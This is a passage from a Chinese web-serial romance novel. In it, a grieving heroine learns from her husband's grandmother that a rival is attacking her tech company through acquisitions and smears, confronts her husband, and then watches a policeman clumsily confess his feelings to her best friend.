苏洛敏看着江晚絮这副样子,心里难受得像是堵了一块大石头。
她几次张嘴想说什么,最后都咽了回去。
她其实是知道的,梁霁川正在攻击晚星科技的海外项目。
顾彦廷就是为了这件事去了公司,想要阻止梁霁川。
她也不能告诉江晚絮,她昨天晚上出去跟程宇喝了一夜的酒,然后一大早借着酒劲儿去监狱里见了周旭。
快吃完的时候,苏洛敏放下了筷子。
她抽出一张纸巾,擦了擦嘴角,像是下了很大的决心。
“晚晚。”
江晚絮抬起头,那双清澈的眸子静静地看着她,“怎么了?”
苏洛敏避开她的视线,手指用力地攥着纸巾,指节泛白。
“那个……我想回我公寓去住。”
江晚絮愣了几秒,才反应过来。
“为什么?”
她低着头,声音很轻,“这里……住着不舒服吗?”
“不是不是!”
苏洛敏连忙解释,“这大别墅住着当然舒服!就是……就是我那个公寓好久没住人了,我得回去收拾收拾。而且……而且我现在身体也好得差不多了,我得回去上班。公寓离单位近一些……”
第264章 超出掌控
苏洛敏要搬回公寓,江晚絮只说了一个“好”字。
这几天她整个人都有些丧,谁看着不心烦?
苏洛敏是喜欢热闹的人,怎么受得了这样的生活。
“我帮你收拾行李。”
江晚絮放下筷子就往楼上走,“反正我也没事做。”
苏洛敏看着她这副样子,张了张嘴,却什么都没说出来。
顾彦廷特意叮嘱过,在事情解决之前,绝不能让江晚絮操心。
“怎么了?”江晚絮停下脚步,回头看她。
“其实……其实我那公寓物业费很贵的,我要是不住回去就太亏了。”
苏洛敏硬着头皮打了个哈哈,转过身不敢看江晚絮,“哎呀快走快走,要不一会儿天黑了。”
“嗯,走吧。”
接下来的一个小时,江晚絮一直在帮苏洛敏整理衣柜。
苏洛敏在一旁看着,心里很急,却又无可奈何。
她几次想开口解释,可一想到顾彦廷的嘱咐,又生生忍住了。
“这个箱子里是你的护肤品,我都用气泡膜包好了。”
江晚絮把最后一个箱子封好,“还有什么遗漏的吗?”
“没了,没了。”
苏洛敏看着那一堆整整齐齐的箱子,鼻尖一酸,“晚晚,谢谢你。”
“谢什么。”
江晚絮垂下眼帘,“朋友嘛,应该的。”
苏洛敏叫的搬家公司很快就到了。
看着工人们一箱箱地把东西往外搬,别墅一点点变空,江晚絮的心也跟着一点点变空。
“晚晚,我走了啊。”
苏洛敏站在门口,欲言又止,“你自己在家……好好吃饭,别胡思乱想。”
“嗯,我知道。”
江晚絮站在台阶上,温柔地笑着,“路上小心,到了给我发个信息。”
苏洛敏咬了咬牙,转身上了车。
直到车子渐渐走远,江晚絮脸上的笑容也渐渐淡了。
她忽然就觉得很茫然。
偌大的别墅,安安静静的。
只剩下她一个人。
“江晚絮,你真可悲。”
她抱着膝盖,把头埋进臂弯里,声音闷闷的,“所有人都走了。”
是因为自己太晦气了吗?
外婆走了,外公也走了。
是不是只要离自己近的人,都不会有好下场?
所以敏敏才要搬走?
江晚絮深吸了一口气,想要把眼眶里的泪水憋回去,可不知道为什么,眼泪就是止不住。
她不想哭的。
外婆说过让她做个快乐的人。
可是外婆,絮絮真的好难受啊。
为什么明明就在身边,却感觉隔着千山万水?
为什么明明是最亲近的人,却什么都不肯告诉我?
手机就在手边,她很想听听顾彦廷的声音。
可是,万一他在忙呢?
万一他觉得我很烦呢?
江晚絮闭上眼睛,蜷缩成小小的一团,直到天渐渐黑下来,才起身回去。
此时此刻。
顾彦廷站在办公室的落地窗前,眉头紧锁。
整个顾氏的研发部和公关部都已经连轴转了三天三夜。
梁霁川这次是下了血本。
他利用海外的空壳公司,恶意收购晚星科技在欧洲的合作伙伴,试图切断晚星科技的供应链。
不仅如此,他还买通媒体,大肆宣扬晚星科技的核心专利涉嫌抄袭,导致晚星科技的股价连续跌停。
如果江晚絮知道这一切,她绝对会崩溃。
这也是顾彦廷为什么死死压着消息,连苏洛敏都不让说的原因。
“顾总。”
林舟推门进来,脸色凝重,“查到了。沈曼那个电话,是打给欧洲的‘K先生’。”
“K先生?”
顾彦廷眯起眼睛,“那个号称欧洲地下皇帝的K先生?”
“没错。”
林舟把一份文件放在桌上,“梁霁川之所以能这么嚣张,就是因为他。据说,K先生手里掌握着很多欧洲政要的把柄。但我们还没有查到梁霁川为什么这么怕他。”
顾彦廷冷笑一声,“难怪沈曼敢这么有恃无恐。”
“那我们现在怎么办?”林舟有些担忧,“如果K先生真的插手,我们在欧洲的项目恐怕……”
“怕什么。”
顾彦廷回过身,“强龙不压地头蛇,这里是华国,不是欧洲。”
话虽这么说,但顾彦廷心里清楚,这是一个极其棘手的麻烦。
如果不能切断梁霁川和K先生的联系,晚星科技的危机就无法真正解除。
他想不明白。
江晚絮从小在京城长大,怎么会惹上远在欧洲的大人物?
除非……
顾彦廷脑海中突然闪过一个念头。
许甜!
江晚絮那个双胞胎姐姐,就是在欧洲长大的!
难道是因为许甜?
顾彦廷立刻打开保险柜,拿出一个黑色的小本子。
这是许甜回意大利前留下的。
上面只有一个电话号码和一个名字。
——Dr. Xie(谢医生)。
顾彦廷一直没当回事。
毕竟以他的地位,还没有他摆平不了的事。
但现在,事情似乎超出了他的掌控。
顾彦廷深吸一口气,拿起私人手机,拨通了那个号码。
“嘟——嘟——”
电话响了两声就被接起。
顾彦廷用流利的意大利语开口:“你好,我是顾彦廷,江晚絮的丈夫。”
对面沉默了几秒。
随后,传来一个低沉、富有磁性,却说着一口标准中文的男声。
“丈夫?”
对方轻笑了一声,“顾总,你和晚晚丫头的孩子快一岁了吧?我听说她那个没有血缘关系的外婆刚刚去世,你不在她身边陪着,怎么给我打电话?”
顾彦廷没想到对方对他的情况这么了解。
而且,对方说的是中文!
甚至叫她“晚晚丫头”?
“你是谁?”顾彦廷的声音冷了下来。
“我是谁不重要。”
对方语气慵懒,“重要的是,许甜既然把我的号码留给你,说明事情已经很严重了。说吧,梁霁川那个废物又干什么蠢事了?”
梁霁川那个废物?
敢这么称呼梁霁川的人,这世上恐怕没几个。
顾彦廷心中巨震,面上却不动声色,“梁霁川找了K先生,正在围剿晚星科技。”
“K先生?”
电话那头传来一声嗤笑,“你是说那个靠卖假古董起家的胖子?看来梁霁川真是越活越回去了。”
顾彦廷:“……”
卖假古董的胖子?
“行了,我知道了。”
对方似乎失去了兴致,“告诉晚晚丫头,不用担心。那个死胖子欠我一条腿还没还呢,我会让人好好查一查的。”
说完,电话直接挂断。
第265章 董事有个屁用!
顾彦廷拿着手机,听着里面的忙音,久久没有回神。
这个谢医生,到底是什么来头?
听口气,连K先生都要怕他?
而且,他叫江晚絮叫得那么亲热……
但这还不是最让顾彦廷头疼的。
最让他头疼的是,刚刚通话结束时,手机跳出来一条未接来电提醒。
是江晚絮打来的。
顾彦廷心里咯噔一下。
这几天他忙得没时间回家,江晚絮本来就敏感,现在好不容易主动打个电话,自己还没接到……
“林舟,备车!”
顾彦廷抓起外套就往外走,“回家!”
“可是顾总,十分钟后还有一个跨国会议……”
“推了!”
天大的会议也没有老婆重要!
顾彦廷快步走进了电梯。
江晚絮坐在落地窗前,看着手机屏幕渐渐暗下去。
“正在通话中……”
这么晚了,他在跟谁打电话?
是公事吗?
还是……别的什么人?
江晚絮不想让自己变成那种疑神疑鬼的怨妇,可脑子里那些乱七八糟的念头怎么都压不下去。
自从外婆去世后,顾彦廷虽然人在,心却好像飘远了。
也是。
谁会喜欢一个整天沉浸在悲伤里,只会哭丧着脸的女人呢?
江晚絮自嘲地笑了笑。
她把手机扔到一边,起身抱起还在熟睡的安安。
“安安,妈妈带你去找太奶奶好不好?”
半小时后。
顾家老宅。
顾老太太正在院子里修剪盆栽,一抬头就看到江晚絮抱着孩子站在门口。
“哎哟我的心肝!”
老太太吓了一跳,剪刀一扔就迎了过来,“这是怎么了?怎么这么憔悴?彦廷欺负你了?”
“奶奶……”
江晚絮声音沙哑,眼眶瞬间就红了。
“快进来快进来!”
老太太心疼坏了,连忙把人拉进屋,“张妈!快!去弄点吃的!”
江晚絮坐在沙发上,手里捧着一杯热茶,整个人还有些恍惚。
安安已经被张妈抱去喂蛋羹了。
老太太坐在她身边,拉着她冰凉的手,也不说话,就这么一下一下地轻轻拍着。
就像小时候外婆哄她睡觉一样。
“孩子。”
过了许久,老太太才缓缓开口,声音慈祥,“心里苦就说出来,别憋着。在奶奶这里,不用装坚强。”
江晚絮的手颤了一下。
“奶奶,我是不是很没用?”
她低下头,声音哽咽,“敏敏走了,搬回去了。顾彦廷……他也不回来。我有种感觉,好像无论我怎么努力,最后都会变成一个人。”
“我以为这次不一样了。”
“可是……这几天,他明明就在我身边,我却觉得他离我好远。他和敏敏都有事情瞒着我,可他们谁也不肯告诉我。”
“是不是因为我太晦气了?因为我家破人亡,因为我离过婚,因为我名声不好……所以她们觉得我晦气?”
江晚絮语无伦次地说着,眼泪也大颗大颗的滚落。
老太太听着,眉头越皱越紧。
“混账东西!”
老太太忽然一拍桌子,吓得刚进门的张妈差点把汤洒了。
“彦廷在那装什么深沉!”
老太太气得胸口起伏,“还有那个苏家丫头,平时看着挺机灵,怎么关键时刻也犯糊涂!”
她转过头,心疼地帮江晚絮擦眼泪。
“丫头,你听奶奶说。这事儿啊,不赖你。他们确实有事瞒着你,而且是大事。”
江晚絮泪眼朦胧地抬起头,“大事?”
“哼!”
老太太冷哼一声,“我也是刚听我老战友说的。好像是有人在攻击你的公司。”
“晚星科技?!”
江晚絮“唰”一下就站了起来,“为什么?我这两天只顾着在研究室待着,发生这么大的事情怎么没人……”
“你别急,别急!”
老太太连忙把她按住,“你外婆刚走,谁敢跟你说这事?这几天彦廷在公司应该就是在帮你处理这件事。”
“可是……可是他为什么不告诉我?”
江晚絮喃喃自语,“我可以和他一起面对啊,我是晚星的负责人,我有权利知道……”
“因为他怕你受不了啊傻孩子!”
老太太叹了口气,语重心长,“你刚没了外婆,如果让你知道,有人在这个节骨眼上想要毁了你的心血,你会怎么样?”
会疯。
江晚絮心里立刻就有了答案。
如果不告诉她,她或许只是伤心顾彦廷的冷落。
可如果告诉她,她会恨不得拿刀去跟那些人拼命。
“可是……”
江晚絮咬着嘴唇,眼泪流得更凶了,“可是我不想要这种保护。这样显得我就像个局外人。”
“是不是在他们眼里,我永远只能躲在后面?”
老太太看着她钻牛角尖的样子,既心疼又好笑。
“傻丫头,这怎么能一样呢?”
老太太拍了拍她的手背,“彦廷那是在乎你,怕你受伤。”
“不过嘛……”
老太太话锋一转,“这男人啊,就是欠收拾。你不问,他就以为你不想知道,或者以为自己安排得天衣无缝。”
“既然他们不说,那你为什么不问呢?”
江晚絮愣住了。
问?
“我……我怕打扰他。”
“怕什么!”
老太太霸气地一挥手,“你是他老婆!在我们顾家,老婆查岗,天经地义!哪怕他在开联合过大会,你也得给他薅回来!”
“以前在叶家,你是不是从来不敢问?”
江晚絮点了点头。
“那就是了!”
老太太恨铁不成钢,“我不管你以前都受了些什么窝囊气,你给我记住,你现在是我顾家的少奶奶,是晚星科技的总裁!你有嘴,为什么不问?”
“长嘴是干嘛用的?除了吃饭亲嘴,就是用来说话的!”
“与其在这里自己瞎琢磨,把自己气个半死,不如直接冲过去,把刀架在他脖子上问个清楚!”
江晚絮被老太太这番虎狼之词惊呆了。
“奶奶,这……”
“这什么这!”
老太太打断她,“听奶奶的。别学那些苦情剧里的女主角,什么都憋在心里,最后憋出个绝症来。”
“不管他是为了你好,还是有什么苦衷。”
“只要你不爽了,你就得让他知道。”
“你不说,他怎么知道你在胡思乱想?他只会觉得,哎呀我老婆真懂事,我老婆真乖。”
“懂事有个屁用!”
老太太越说越激动,“懂事的孩子没糖吃!你的闹!你得让他知道,你不是那个只能躲在背后的弱女子,你是新时代的女性,你能扛起半边天!”
第266章 回房,受审!
江晚絮听着听着,原本灰暗的心情竟然奇异地亮堂了几分。
是啊。
懂事有个屁用。
她在叶家懂事了五年,换来的是什么?
是轻视,是践踏,是被扫地出门。
现在她是江晚絮,是晚星科技的掌门人,是豪门少奶奶。
她凭什么还要像以前那样唯唯诺诺?
顾彦廷不说?那她就去问!
“奶奶……”
江晚絮抬起头,“我知道该怎么做了。”
“这就对了!”
老太太满意地点点头,“走,吃饭!”
另一边。
顾彦廷回到别墅,却发现大门紧闭。
“夫人呢?!”
顾彦廷抓住刚去买水果回来的保姆,怒声质问。
“夫……夫人带着安安去老宅了。”保姆吓得瑟瑟发抖,“说是去看看老太太。”
去老宅了?
顾彦廷松了一口气。
但他这口气还没松到底,手机就响了。
是老太太打来的。
顾彦廷接起电话,“奶奶,晚晚在你那儿吗?”
“哼!”
老太太冷笑一声,“在我这儿怎么了?你还有脸问?顾彦廷,你长本事了啊!老婆孩子扔家里不管,自己跑去当英雄是吧?”
顾彦廷揉了揉眉心,“奶奶,我有苦衷……”
“苦衷个屁!”
老太太骂起人来中气十足,“赶紧给我滚过来!”
“嘟——”
顾彦廷看着黑掉的屏幕,无奈地叹了口气。
看来这顿骂是躲不过去了。
顾家老宅的餐厅里,暖意融融。
桌上摆满了江晚絮爱吃的菜。
江晚絮跟老太太解释了三遍自己吃过了,可顾老太太就像没听到一样,就那么盯着她看,也不说话。
她没办法,只得在老太太的注视下,硬撑着喝了两碗汤。
“这就对了,多吃点。”
老太太不停地给她夹菜,“看你瘦得,抱着都硌手。以后可得好好补补。”
江晚絮点点头,“谢谢奶奶。”
正吃着,门外传来了脚步声。
顾彦廷很快就走了进来。
看到正坐在餐桌前喝汤的江晚絮,顾彦廷眼里的慌乱瞬间就不及安乐。
“晚晚。”
他喊她。
江晚絮拿着勺子的手顿了一下。
她没有回头,也没有应声,只是默默地喝了一口汤。
味道淡了。
“看什么看?当门神啊?”
老太太没好气地白了他一眼,“还不赶快去洗了手过来吃饭!”
顾彦廷苦笑一声,也没反驳,乖乖去洗手间洗了手。
他拉开江晚絮身边的椅子坐下。
“晚晚,对不起。”
他低声开口,伸手想要去握江晚絮的手。
江晚絮手腕一翻,避开了。
“我吃饱了。”
江晚絮放下勺子,拿起纸巾擦了擦嘴角,转头看向老太太,“奶奶,我先带安安去休息了。”
说完,她起身就要走。
“等等!”
顾彦廷慌了,一把抓住她的手腕,“晚晚,你别走。我有话跟你说。”
江晚絮停下脚步,回头看他。
“顾总有什么话,还是留着跟您的商业伙伴说吧。”
她语气淡淡,“我只是个只会添乱的女人,听不懂您的那些大事。”
顾彦廷心脏一阵抽痛。
“谁说你只会添乱?”
他急切地解释,“晚晚,不是你想的那样。我只是……只是不想让你担心。”
“不想让我担心?”
江晚絮轻笑一声,“所以就什么都不说?让我像个傻子一样在家里猜?看着你夜不归宿,看着敏敏搬走,看着家里变得空荡荡的?”
“顾彦廷,你知道那种感觉吗?”
“那种全世界都知道发生了什么,只有我被蒙在鼓里的感觉。”
江晚絮的声音有些发颤,“太孤单了。”
顾彦廷看着她发红的眼眶,心疼得快要窒息。
他知道,他又触碰到了她的伤疤。
曾经在江家和叶家受过的伤,其实一直都没好。
“对不起,是我错了。”
顾彦廷站起身,不顾她的挣扎,一把将她拥入怀中。
“晚晚,打我也好,骂我也好,别推开我。”
“求你。”
江晚絮被他抱在怀里,心瞬间碎了一地。
顾老太太让她装小女人,无理取闹一次,矫情一次。
可这个男人的怀抱太暖了,暖得让她装不下去。
“放开!”
江晚絮吸了吸鼻子,“勒死我了!”
顾彦廷连忙松开了一些,却依然不肯放手。
“那你不生气了?”
“谁说我不生气了?”
江晚絮瞪了他一眼,“坦白从宽,抗拒从严!说,到底发生什么事了?敏敏为什么要搬走?你这几天到底在忙什么?还有,那个电话是怎么回事?”
顾彦廷愣了一下。
那个电话?
“什么电话?”
“装傻是吧?”江晚絮冷笑,“我都听到了,‘正在通话中’!你是不是外面有狗了?”
顾彦廷:“……”
冤枉啊!
这真是六月飞雪!
一旁看戏的老太太忍不住“噗嗤”一声笑了出来。
“行了行了,你们小两口回房间慢慢审去。”
老太太挥挥手,“别在这儿碍我的眼。张妈,把门关上,今晚谁也不许出来!”
江晚絮脸一红,“奶奶!”
顾彦廷却二话不说,直接将江晚絮打横抱起。
“啊!顾彦廷你干什么!”
江晚絮吓得惊呼一声,下意识地勾住了他的脖子。
“回房,受审。”
顾彦廷勾起唇角,大步朝楼上走去。
卧室里。
江晚絮被放在柔软的大床上。
她还没来得及坐起来,顾彦廷已经欺身而上,双手撑在她身侧,让她无处可躲。
“说吧,想先审哪个?”
顾彦廷看着她,眼底带笑。
江晚絮推了推他,“起开,别离这么近,压迫感太强了。”
“不让。”
顾彦廷不仅没起,反而凑得更近了,“刚才不是还很凶吗?怎么现在怂了?”
“谁怂了!”
江晚絮梗着脖子,“先说敏敏的事!她为什么要搬走?是不是因为梁霁川?”
顾彦廷眼神暗了暗,收敛了笑意。
他翻身躺在她身边,伸手将她揽进怀里。
“是。”
既然决定坦白,那就不如全都说清楚吧。
第267章 老实人不禁逗
“梁霁川的海外分公司正在疯狂攻击晚星科技的海外项目。”
“至于苏洛敏……”顾彦廷说到这里的时候,抬眼看了看江晚絮,见她没什么表情变化,这才继续道,“前两天,庭审的时候,周旭表示愿意交代与沈曼之间的勾当,但他有一个要求——见见苏洛敏。”
“他凭什么——”
江晚絮气地站了起来,顾彦廷笑着拉她了坐下。
“你听我说完。”
他拿起床头的水杯递给她,“我找程宇核实过,苏洛敏虽然答应去见他,但她并没有心软。至于她搬出去这件事,也是为了随时配合检察院那边的调查。”
江晚絮听完,怔愣了一会儿,才叹了口气。
“果然是我想太多了。我还以为……”
“你以为什么?”
顾彦廷看着她喝了一口水,接过杯子后,轻轻揽过她的肩,安慰道,“晚晚,这件事情上,是我做得不好,让你担心了。”
江晚絮抬头,如释重负地笑了,“我不也怀疑你出去拈花惹草了?我们扯平了。”
“好啊江晚絮,学坏了?”
顾彦廷伸手去挠她的腰间,惹得江晚絮一阵不受控制的笑。
两人之间没了隔阂,这一晚,江晚絮睡得格外香甜。
第二天清晨,江晚絮醒来的时候,顾彦廷已经走了。
如果昨晚没有跟顾老太太聊过,她大概又会多想。
江晚絮伸了个懒腰,起身拿手机的时候,就看到床头柜上压着一张纸条。
【公司有个紧急早会。晚上等我回来。】
江晚絮捏着纸条,嘴角不自觉地弯了弯。
她起身去抱还在婴儿床里哼哼唧唧的安安。
经过昨晚顾老太太那一通“洗脑”,江晚絮觉得自己好像打通了任督二脉。
懂事?
去他的懂事。
她懂事了五年,换来的是叶寒的冷眼,是江家人的吸血,是被抽了骨髓还要被推下楼梯的下场。
甚至连外婆去世,他们都能指着她的鼻子骂她是扫把星。
既然老太太说了,顾家的媳妇儿可以作,那她就作给他们看。
苏洛敏不是想躲着她自己面对吗?
行,那我就带着孩子去找她。
江晚絮收拾得很利索,给安安穿戴整齐,也没叫司机,自己开了车就出了门。
苏洛敏现在的公寓在市中心的高档小区,安保森严,环境清幽。
这是顾彦廷提议的。
明面上说是保护,其实就是怕苏洛敏这个没心眼的再上当。
江晚絮很快就将车开到了公寓楼下的临时停车位。
她刚把车停稳,解开安全带,正准备下车去抱后座的安安,余光却瞥见了一道熟悉的身影。
那是……程宇?
江晚絮愣了一下。
此时的程宇穿着一身利落的西装,手里捧着一大束红得扎眼的玫瑰花。
他在干嘛?
江晚絮没急着下车,而是透过车窗玻璃,饶有兴致地看着。
只见程宇把花往怀里搂了搂,深吸一口气,对着空气鞠了一躬。
“苏小姐,这花送给你!”
然后他又摇摇头,似乎不太满意。
“不行,太生硬了,跟送花圈似的。”
江晚絮:“……”
紧接着,程宇又换了个姿势,单手插兜,把花往前一递,摆出一个自以为帅气实则油腻的表情。
“敏敏,今晚有空吃个饭吗?”
说完,他又懊恼地抓了抓头发。
“啧,太轻浮了。”
江晚絮坐在车里,差点没笑出声来。
原来在这个世界上,真的有人会为了喜欢的人,笨拙地练习每一句开场白。
她看着程宇那副抓耳挠腮的样子,心里忽然涌上一股说不清道不明的情绪。
是释怀,也是欣慰。
苏洛敏是个好姑娘。
她值得这世上最真诚的喜欢。
“安安,你看那个叔叔傻不傻?”
江晚絮回头逗弄了一下女儿,安安咯咯地笑了。
既然碰上了,那就帮帮他吧。
毕竟,若是让程宇这么练下去,估计天黑
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了他都不敢上楼。
江晚絮推开车门,抱着安安下了车。
“哟,这不是我的程警官吗?”
不远处的程宇像是突然被雷劈了一样,整个人突然就是一僵,手里的花差点没飞出去。
他缓缓转过脖子,看到来人果然是江晚絮,整张脸瞬间涨成了猪肝色。
“晚……晚絮?!”
下一秒,他以迅雷不及掩耳之势,把那一怀抱的玫瑰花直接往背后一藏。
那红艳艳的花瓣还是从他的咯吱窝下面露了出来,随着他的动作一颤一颤地,显得格外滑稽。
“好巧啊。”
江晚絮抱着安安,笑眯眯地走过去,“最近警局不忙吗?你怎么还有空来这儿?”
程宇额头上的冷汗都下来了。
他尴尬地扯了扯嘴角。
“那个……我来给敏敏送一份文件……对,文件!”
“哦——文件啊。”
江晚絮故意拖长了尾音,视线在他身后那一团红影上转了一圈,“**的福利现在这么好了?送文件还附赠这么大一束玫瑰花?”
程宇:“……”
**算了。
真的。
让他原地去世吧。
“这……这是路边买的,那个……促销,买一送一。”
程宇结结巴巴地胡扯,“我想着敏敏刚搬家,家里缺点生气,就……就顺手带来了。”
江晚絮差点没笑喷。
九十九朵红玫瑰,路边促销买一送一?
“行了,别藏了。”
江晚絮也没再逗他,毕竟老实人不禁逗。
“正好我也要上去找敏敏,一起吧?”
程宇如蒙大赦,但又更加紧张了。
跟江晚絮一起上去?
那万一等会儿敏敏拒绝他,江晚絮不得笑死他?
“怎么?不想上去?”
江晚絮挑眉,“那我自己上去了?”
“不不不!上去!马上上去!”
程宇哪敢说不,赶紧把藏在身后的花拿出来,虽然还是觉得脸上火辣辣的,但好歹是迈开了腿。
第268章 他是不是吃错药了?
电梯间。
江晚絮抱着孩子站在前面,程宇抱着花缩在角落里。
江晚絮看着电梯镜像里程宇那副视死如归的表情,心里叹了口气。
“程宇。”
江晚絮忽然开口。
“啊?在!”程宇立刻站直了身体。
“敏敏她……看着大大咧咧,其实内心很敏感。”
江晚絮低头给安安理了理帽子,语气淡淡的,“你也知道她受过伤,对感情这事儿,她可能会很排斥。”
程宇愣了一下,随即郑重地点了点头。
“我知道。”
他的声音虽然还有些紧张,但却多了几分坚定,“我会慢慢来的。我不求她马上接受我,我只想让她知道,有人在乎她。”
江晚絮的手顿了一下。
曾几何时,她也幻想过有一个人能对自己说这句话。
可惜,不管是江家还是叶家,都没有这样的人。
直到遇见了顾彦廷。
虽然那个狗男人有时候挺气人的,但他确实做到了。
“那就好。”
江晚絮轻笑一声,“别让她失望。不然……”
她转过头,凶巴巴的,“我会让你知道,什么叫闺蜜的复仇。”
程宇只觉得后脖颈一凉,赶紧点头。
“一定!一定!”
“叮——”
电梯到了。
这一层只有两户,走廊宽敞安静,地上铺着厚厚的地毯,踩上去一点声音都没有。
程宇又开始紧张了。
他不停地整理领带,又低头看了看自己的皮鞋,最后甚至对着光滑的大门理了理头发。
“行了,再理就要秃了。”
江晚絮实在是看不下去了,直接上手按了门铃。
“叮咚——”
程宇的心瞬间提到了嗓子眼。
“谁呀——”
屋里传来苏洛敏那标志性的大嗓门,透着股刚睡醒的慵懒劲儿,“我都说了我不买保险!还高档公寓呢,什么人都让进!”
江晚絮忍不住翻了个白眼。
“是我,开门。”江晚絮喊道。
“晚晚?!”
屋里的声音瞬间拉高,紧接着就是一阵踢里哐啷的脚步声,“来了来了!等我穿个拖鞋!”
江晚絮转头看向程宇,递给他一个“你加油”的眼神。
程宇深吸一口气,挺直了腰板,把花举到胸前。
就是那表情,太严肃了。
严肃得好像参加优秀警员评选大会。
可是没过两秒,屋里突然传来了一声巨响——
“砰!”
紧接着就是苏洛敏的一声惨叫:
“哎哟**——!!!”
江晚絮立刻皱眉。
“敏敏?!”她一边喊一边拍门,“怎么了?发生什么事了?”
程宇的反应比她大多了。
他一把将手里的花扔在了地上,挤开江晚絮扑到了门前。
“敏敏?敏敏你怎么了?!”
程宇一边疯狂拍门,一边语无伦次地大喊,“你别怕!我……我这就想办法救你!”
屋里没有任何回应,只有苏洛敏断断续续的抽气声。
“嘶……疼死老娘了……这该死的……”
听到这声音,程宇的脑补瞬间突破了天际。
完了。
该不会有小偷藏在她家吧?
他的脑海里,突然就出现一个画面。
娇俏可爱的苏洛敏刚走出卧室,就被一个蒙面的黑衣人用花瓶砸头,然后浑身是血地倒在了地上……
想到这里,程宇的脸更白了。
他转头对着江晚絮大吼,“晚絮!快报警,打120!快!我要撞门了!”
说着,他后退两步,做出了冲锋的姿势。
江晚絮:“……”
她怀里抱着孩子,本来挺着急的,但看到程宇这副要把楼拆了的样子,忽然就没那么急了。
“你先别急。”
江晚絮弯腰把地上的花捡起来,放在一旁的鞋柜上,“这门你撞不开,脚骨折了还得敏敏照顾你。”
“可是她没动静了啊!”
程宇急得眼睛都红了,“万一出人命了怎么办!她……她要是……”
“咔哒。”
就在程宇准备助跑起飞的一瞬间门开了。
苏洛敏披头散发,穿着一只拖鞋,一只手捂着另一只胳膊,龇牙咧嘴地站在门口。
“吵什么吵啊!”
苏洛敏疼得龇牙咧嘴,看到门外除了江晚絮,还站着程宇,怔了一下。
程宇则保持着那个要去撞门的姿势,一只脚还悬在半空。
“你……你没事
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?”
程宇眼圈红红的,看着竟然有点委屈。
苏洛敏被他这副样子吓了一跳。
“我……我能有什么事?”
苏洛敏莫名其妙地看着他,“就是起床太急,低血糖晃了一下,胳膊撞床头柜上了……嘶,疼死我了,估计青了一大块。”
就这?
就这?!
程宇深吸了一口气,感觉自己刚才那点英雄救美的热血突然就很滑稽。
但他还是赶紧走了过去。
“撞哪儿了?我看看!”
他一把抓住苏洛敏那只没受伤的手,眼神紧张地在她身上上下打量,“除了胳膊还有哪里疼?头晕不晕?有没有恶心想吐?”
苏洛敏整个人都懵了。
她如果没记错的话,程宇好像是警校的高材生,是出了名的铁血刑警。
现在看着,怎么像个……傻子?
“不是,程宇,你……”
苏洛敏往回缩了缩手,脸有点发烫,“你抓疼我了。”
程宇这才反应过来自己一紧张竟然抓着苏洛敏的手。
他触电般地松开手,脸又红成了猴屁股。
“对……对不起!我就是太着急了……我以为你……”
以为她怎么了?
以为她死在里面了?
苏洛敏看着他那副手足无措的样子,心里忽然软了一下。
从医院回来以后,晚晚陪她聊了很多,她一直觉得自己想开了,现在过得挺潇洒的。
可刚才撞到胳膊那一瞬间的剧痛,和随之而来的委屈,确实让她有点想哭。
如果她晕倒了,真的没人会知道吧?
但这会儿,看着程宇这副着急的样子,她就觉得自己好像也没那么孤单了。
“行了行了。”
苏洛敏不自然地别开脸,嘟囔了一句,“大惊小怪。”
然后她一抬头,看见了站在旁边看戏看了半天的江晚絮。
“晚晚!你管管他啊!”
苏洛敏指着程宇,“他是不是吃错药了?大早上的跑来发疯?”
江晚絮好整以暇地抱着安安,一脸的姨母笑。
“我哪知道。”
江晚絮耸了耸肩,腾出一只手,指了指鞋柜上有点散乱的红玫瑰。
“也许是被花店的促销给咋懵了吧。”
第269章 未知,才是最可怕的
苏洛敏顺着江晚絮的手指看去。
一大束红得耀眼的玫瑰花,静静地躺在鞋柜上。
苏洛敏没明白。
这是……给她的?
程宇见事情都已经这样了,索性也不装了。
虽然刚才的表白计划全被打乱了,虽然现在的场面一点都不浪漫甚至有点搞笑。
但他不想再等了。
尤其是刚才以为苏洛敏出事的那一瞬间,那种可能会失去她的恐惧,让他明白了一件事。
面子是个屁啊,脱单才是最重要的。
程宇深吸一口气,走过去重新把那束花抱了起来。
“苏洛敏。”
他叫她的全名,声音也不再结巴。
苏洛敏被他这突如其来的严肃搞得有点紧张,下意识地往后退了半步。
“干……干嘛?”
“这花,是送给你的。”
程宇把花递到她面前,一瞬不瞬地看着她,“我知道我现在看起来很狼狈,也不够像个绅士。但我刚才听到你喊疼的时候,我脑子里只有一个念头。”
“我想照顾你。”
“不是朋友的那种喜欢。”
“我想让你以后不管磕着碰着,还是受了委屈,第一个想到的人是我,而不是自己忍着。”
“我想做那个……能帮你揉伤口的人。”
走廊里一片安静。
苏洛敏彻底傻眼了。
她张看着面前这个男人,脑子里像是在放烟花,噼里啪啦乱成一团。
喜欢她?
程宇喜欢她?
开什么国际玩笑!
她虽然不是什么豪门弃妇,但也是个整天疯疯癫癫、没个正形的女汉子。
以前那些围在她身边的男人,要么是图她的脸,要么是图她背后的江晚絮。
从来没有人跟她说过,想做那个帮她揉伤口的人。
这台词……太犯规了吧!
苏洛敏感觉自己的心跳快得有点不正常,她下意识地看向了江晚絮。
“晚晚……”
江晚絮却根本不接她的茬。
她只是笑了笑。
“我看我也帮不上什么忙了。”
江晚絮抱着安安,直接绕过她们,径直走进了苏洛敏的公寓。
“你们慢慢聊,我先进去给安安冲个奶粉。”
“哎!晚晚!你别走啊!”
苏洛敏急了,伸手想去拉她。
结果手刚伸出去一半,就被程宇眼疾手快地托住了。
“别乱动,胳膊不是还疼吗?”
程宇把花强行塞进她怀里,然后很自然地扶住她的肩膀,把人往屋里带。
“先进去,我看看有没有红花油,给你揉揉。”
苏洛敏:“……”
不是,这剧情发展是不是有点太快了?
她还没答应呢!
而且……
苏洛敏低头看了看怀里的玫瑰花。
这花,还挺好看的。
进了屋,江晚絮把安安放在地毯上让他自己爬,自己则去厨房倒了杯水。
客厅里,苏洛敏和程宇正坐在沙发上。
场面一度十分和谐……个鬼。
苏洛敏坐在那儿,一只袖子撸到了肩膀上,露出一截雪白的手臂。
而在手肘的位置,确实有一块青紫,看着挺吓人。
程宇正半跪在沙发边上,手里拿着一瓶不知道从哪翻出来的红花油。
“可能会有点疼,你忍着点。”
程宇倒了一点药油在手心,搓热了,然后轻轻覆在那块淤青上。
“嘶——轻点轻点!你是要**我吗!”
苏洛敏疼得直吸气,另一只手下意识地就在程宇脑袋上拍了一巴掌。
“抱歉抱歉!我轻点!”
程宇也不恼,手上的力道放柔了不少。
江晚絮靠在厨房门口,捧着水杯,静静地看着这一幕。
真好啊。
她的好朋友,终于有人真心疼她了。
